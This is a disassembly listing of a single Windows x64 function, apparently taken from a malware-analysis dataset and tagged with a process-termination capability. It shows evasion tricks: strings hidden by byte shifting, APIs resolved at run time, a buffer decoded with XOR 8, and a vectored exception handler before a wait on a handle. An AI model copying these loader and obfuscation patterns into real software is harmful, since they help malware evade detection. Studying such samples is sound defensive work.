Function at 0x14000d734
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x368
lea rax, [rsp + 0xa0]
lea rcx, str.C_iiW__8en7
mov rdi, rax
mov rsi, rcx
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x34], 0
jmp 0x14000d776
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
movsxd rax, dword [rsp + 0x34]
mov qword [rsp + 0x100], rax
lea rcx, [rsp + 0xa0]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, qword [rsp + 0x100]
cmp rcx, rax
jae 0x14000d7bb
movsxd rax, dword [rsp + 0x34]
movsx eax, byte [rsp + rax + 0xa0]
add eax, 0xa
movsxd rcx, dword [rsp + 0x34]
mov byte [rsp + rcx + 0xa0], al
jmp 0x14000d76c
lea rax, [rsp + 0x80]
lea rcx, str.ki_h___Zbb
mov rdi, rax
mov rsi, rcx
mov ecx, 0xb
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x58], 0
jmp 0x14000d7ef
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x80]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
cmp qword [rsp + 0x58], rax
jae 0x14000d821
mov rax, qword [rsp + 0x58]
movsx eax, byte [rsp + rax + 0x80]
add eax, 0xa
mov rcx, qword [rsp + 0x58]
mov byte [rsp + rcx + 0x80], al
jmp 0x14000d7e2
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rsp + 0xa0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
call fcn.140007bc8
cmp eax, 1
jne 0x14000d8d8
lea rax, [rsp + 0xd0]
lea rcx, [0x1400106d0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xd
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x38], 0
jmp 0x14000d883
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
movsxd rax, dword [rsp + 0x38]
cmp rax, 0xc
jae 0x14000d8ac
movsxd rax, dword [rsp + 0x38]
movsx eax, byte [rsp + rax + 0xd0]
add eax, 0xa
movsxd rcx, dword [rsp + 0x38]
mov byte [rsp + rcx + 0xd0], al
jmp 0x14000d879
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x108], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xd0]
xor ecx, ecx
call qword [rsp + 0x108]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rax, [rsp + 0x90]
lea rcx, [0x1400106e0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xb
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x3c], 0
jmp 0x14000d908
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
movsxd rax, dword [rsp + 0x3c]
cmp rax, 0xa
jae 0x14000d931
movsxd rax, dword [rsp + 0x3c]
movsx eax, byte [rsp + rax + 0x90]
add eax, 0xa
movsxd rcx, dword [rsp + 0x3c]
mov byte [rsp + rcx + 0x90], al
jmp 0x14000d8fe
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x250]
call fcn.140005bec
nop
lea rcx, [rsp + 0x1d8]
call fcn.14000ab7c
nop
xor r8d, r8d
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x228]
call fcn.140003648
nop
lea r8, [rsp + 0x228]
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0x1b8]
call fcn.1400070c4
nop
lea rcx, [rsp + 0x228]
call fcn.140006dac
lea rax, [rsp + 0x1f8]
lea rcx, [0x1400106f0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x16
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x40], 0
jmp 0x14000d9dd
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x15
jae 0x14000da06
movsxd rax, dword [rsp + 0x40]
movsx eax, byte [rsp + rax + 0x1f8]
add eax, 0xa
movsxd rcx, dword [rsp + 0x40]
mov byte [rsp + rcx + 0x1f8], al
jmp 0x14000d9d3
lea rax, [rsp + 0xb0]
lea rcx, str.C_Yheiej
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x44], 0
jmp 0x14000da36
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
movsxd rax, dword [rsp + 0x44]
cmp rax, 0xd
jae 0x14000da5f
movsxd rax, dword [rsp + 0x44]
movsx eax, byte [rsp + rax + 0xb0]
add eax, 0xa
movsxd rcx, dword [rsp + 0x44]
mov byte [rsp + rcx + 0xb0], al
jmp 0x14000da2c
lea rcx, [rsp + 0x1b8]
call fcn.14000af20
movzx eax, al
test eax, eax
jne 0x14000daa7
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x110], rax
mov r9d, 0x30
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x1f8]
xor ecx, ecx
call qword [rsp + 0x110]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rax, [rsp + 0x210]
lea rcx, [0x140010718]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x17
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x48], 0
jmp 0x14000dad7
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
movsxd rax, dword [rsp + 0x48]
cmp rax, 0x16
jae 0x14000db00
movsxd rax, dword [rsp + 0x48]
movsx eax, byte [rsp + rax + 0x210]
add eax, 0xa
movsxd rcx, dword [rsp + 0x48]
mov byte [rsp + rcx + 0x210], al
jmp 0x14000dacd
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x118], rax
mov r9d, 0x30
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x210]
xor ecx, ecx
call qword [rsp + 0x118]
lea rcx, [rsp + 0x158]
call fcn.140002050
nop
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x250]
call fcn.1400058fc
lea r9, [0x1400106bc]
lea r8, [0x1400106cc]
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x198]
call fcn.14000c62c
nop
mov rax, qword [str..____]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x4c], 0
jmp 0x14000db93
mov eax, dword [rsp + 0x4c]
inc eax
mov dword [rsp + 0x4c], eax
movsxd rax, dword [rsp + 0x4c]
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x60]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, qword [rsp + 0x120]
cmp rcx, rax
jae 0x14000dbcf
movsxd rax, dword [rsp + 0x4c]
movsx eax, byte [rsp + rax + 0x60]
add eax, 0xa
movsxd rcx, dword [rsp + 0x4c]
mov byte [rsp + rcx + 0x60], al
jmp 0x14000db89
lea r9, [0x1400106ae]
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x198]
lea rcx, [rsp + 0x178]
call fcn.14000c62c
nop
xor r8d, r8d
lea rdx, [rsp + 0x178]
lea rcx, [rsp + 0x138]
call fcn.140003008
nop
lea rcx, [rsp + 0x138]
call fcn.1400030fc
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0xe0]
call fcn.140006140
nop
mov dword [rsp + 0x50], 0
jmp 0x14000dc41
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x50]
mov qword [rsp + 0x128], rax
lea rcx, [rsp + 0x138]
call fcn.1400032b4
mov rcx, qword [rsp + 0x128]
cmp rcx, rax
jae 0x14000dc94
movsxd rax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x130]
movsx eax, byte [rcx + rax]
xor eax, 8
mov byte [rsp + 0x30], al
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xe0]
call fcn.14000c0f8
jmp 0x14000dc37
mov dword [0x1400144a8], 1
jmp 0x14000dd18
cmp dword [0x1400144a8], 0
je 0x14000ddb5
call fcn.14000b2cc
movzx eax, al
test eax, eax
jne 0x14000ddb5
mov dword [rsp + 0x6c], 1
lea rcx, [rsp + 0xe0]
call fcn.140006c30
nop
lea rcx, [rsp + 0x138]
call fcn.140002360
nop
lea rcx, [rsp + 0x178]
call fcn.140002360
nop
lea rcx, [rsp + 0x198]
call fcn.140002360
nop
lea rcx, [rsp + 0x158]
call fcn.140002360
nop
lea rcx, [rsp + 0x1b8]
call fcn.140006dac
nop
lea rcx, [rsp + 0x1d8]
call fcn.140006dac
nop
lea rcx, [rsp + 0x250]
call fcn.1400079d0
mov eax, dword [rsp + 0x6c]
jmp 0x14000df58
cmp dword [0x1400144a8], 0
jne 0x14000ddc9
xor eax, eax
cmp eax, 1
je 0x14000ddc7
jmp 0x14000ddbe
jmp 0x14000dde4
cmp dword [0x1400144a8], 2
jne 0x14000dde4
lea rdx, [0x140007e94]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xf8], rax
lea r8, [rsp + 0xf8]
xor edx, edx
lea rcx, [rsp + 0xc0]
call fcn.1400036f4
nop
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0xe0]
call fcn.14000b4dc
movzx eax, al
test eax, eax
jne 0x14000deb9
mov dword [rsp + 0x70], 1
lea rcx, [rsp + 0xc0]
call fcn.140006be8
nop
lea rcx, [rsp + 0xe0]
call fcn.140006c30
nop
lea rcx, [rsp + 0x138]
call fcn.140002360
nop
lea rcx, [rsp + 0x178]
call fcn.140002360
nop
lea rcx, [rsp + 0x198]
call fcn.140002360
nop
lea rcx, [rsp + 0x158]
call fcn.140002360
nop
lea rcx, [rsp + 0x1b8]
call fcn.140006dac
nop
lea rcx, [rsp + 0x1d8]
call fcn.140006dac
nop
lea rcx, [rsp + 0x250]
call fcn.1400079d0
mov eax, dword [rsp + 0x70]
jmp 0x14000df58
lea rcx, [rsp + 0xc0]
call fcn.14000a138
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
lea rcx, [rsp + 0xc0]
call fcn.140006be8
nop
lea rcx, [rsp + 0xe0]
call fcn.140006c30
nop
lea rcx, [rsp + 0x138]
call fcn.140002360
nop
lea rcx, [rsp + 0x178]
call fcn.140002360
nop
lea rcx, [rsp + 0x198]
call fcn.140002360
nop
lea rcx, [rsp + 0x158]
call fcn.140002360
nop
lea rcx, [rsp + 0x1b8]
call fcn.140006dac
nop
lea rcx, [rsp + 0x1d8]
call fcn.140006dac
nop
lea rcx, [rsp + 0x250]
call fcn.1400079d0
jmp 0x14000df56
xor eax, eax
add rsp, 0x368
pop rdi
pop rsi
ret